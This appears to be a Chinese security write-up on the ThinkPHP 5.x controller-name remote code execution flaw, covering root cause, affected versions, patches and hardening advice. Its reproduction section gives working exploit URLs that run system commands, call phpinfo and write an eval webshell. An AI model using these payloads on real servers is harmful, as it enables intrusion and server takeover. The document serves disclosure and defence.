Thinkphp5-x远程代码执行 漏洞分析
字数 925 2025-08-18 11:38:52

ThinkPHP5.x 远程代码执行漏洞分析与防护指南

漏洞背景

ThinkPHP官方发布安全更新,修复了一个重大安全漏洞。该漏洞由于框架对控制器名没有进行足够的检测,导致在未开启强制路由的情况下可能引发getshell漏洞。影响范围包括:

  • ThinkPHP 5.0.x < 5.0.23
  • ThinkPHP 5.1.x < 5.1.31

漏洞原理分析

漏洞触发流程

  1. 路由检查过程

    • 进入self::routeCheck函数进行路由检查
    • 调用$request->path()函数
    • 进入$this->pathinfo()函数
    • Config::get('var_pathinfo')默认值为s,从GET参数获取路由信息
  2. 关键问题点

    • 路由检测失败且未开启强制路由时,进入Route::parseUrl函数
    • parseUrlPath函数使用/分割URL但未进行任何过滤
    • 攻击者可控制$_GET['s']参数传递恶意路由信息

漏洞利用方式

攻击者可通过构造特殊URL实现:

  • 利用反射类调用命名空间中的任意内置类
  • 完成远程代码执行(RCE)

漏洞复现方法

1. 远程命令执行

http://localhost/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

2. 查看PHP信息

http://localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

3. 写入Webshell

http://localhost/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Etest.php

修复方案

1. 官方升级方案

使用composer安装的用户

composer update topthink/framework

使用git版本库安装的用户
更新到最新版本仓库

2. 手动修复方案

针对5.0版本
think\App类的module方法中,获取控制器的代码后添加:

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}

针对5.1版本
think\route\dispatch\Url类的parseUrl方法中,解析控制器后添加:

if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}

防护建议

  1. 立即升级到安全版本:

    • ThinkPHP 5.0.23 或更高版本
    • ThinkPHP 5.1.31 或更高版本
  2. 若无法立即升级,实施手动修复方案

  3. 在生产环境中开启强制路由配置

  4. 定期检查服务器日志,监测可疑请求

  5. 限制框架目录的写权限,特别是runtime目录

参考资源

  • ThinkPHP官方公告:https://blog.thinkphp.cn/869075
  • Tide安全团队官网:http://www.TideSec.net
ThinkPHP5.x 远程代码执行漏洞分析与防护指南 漏洞背景 ThinkPHP官方发布安全更新,修复了一个重大安全漏洞。该漏洞由于框架对控制器名没有进行足够的检测,导致在未开启强制路由的情况下可能引发getshell漏洞。影响范围包括: ThinkPHP 5.0.x < 5.0.23 ThinkPHP 5.1.x < 5.1.31 漏洞原理分析 漏洞触发流程 路由检查过程 : 进入 self::routeCheck 函数进行路由检查 调用 $request->path() 函数 进入 $this->pathinfo() 函数 Config::get('var_pathinfo') 默认值为 s ,从GET参数获取路由信息 关键问题点 : 路由检测失败且未开启强制路由时,进入 Route::parseUrl 函数 parseUrlPath 函数使用 / 分割URL但未进行任何过滤 攻击者可控制 $_GET['s'] 参数传递恶意路由信息 漏洞利用方式 攻击者可通过构造特殊URL实现: 利用反射类调用命名空间中的任意内置类 完成远程代码执行(RCE) 漏洞复现方法 1. 远程命令执行 2. 查看PHP信息 3. 写入Webshell 修复方案 1. 官方升级方案 使用composer安装的用户 : 使用git版本库安装的用户 : 更新到最新版本仓库 2. 手动修复方案 针对5.0版本 : 在 think\App 类的 module 方法中,获取控制器的代码后添加: 针对5.1版本 : 在 think\route\dispatch\Url 类的 parseUrl 方法中,解析控制器后添加: 防护建议 立即升级到安全版本: ThinkPHP 5.0.23 或更高版本 ThinkPHP 5.1.31 或更高版本 若无法立即升级,实施手动修复方案 在生产环境中开启强制路由配置 定期检查服务器日志,监测可疑请求 限制框架目录的写权限,特别是runtime目录 参考资源 ThinkPHP官方公告:https://blog.thinkphp.cn/869075 Tide安全团队官网:http://www.TideSec.net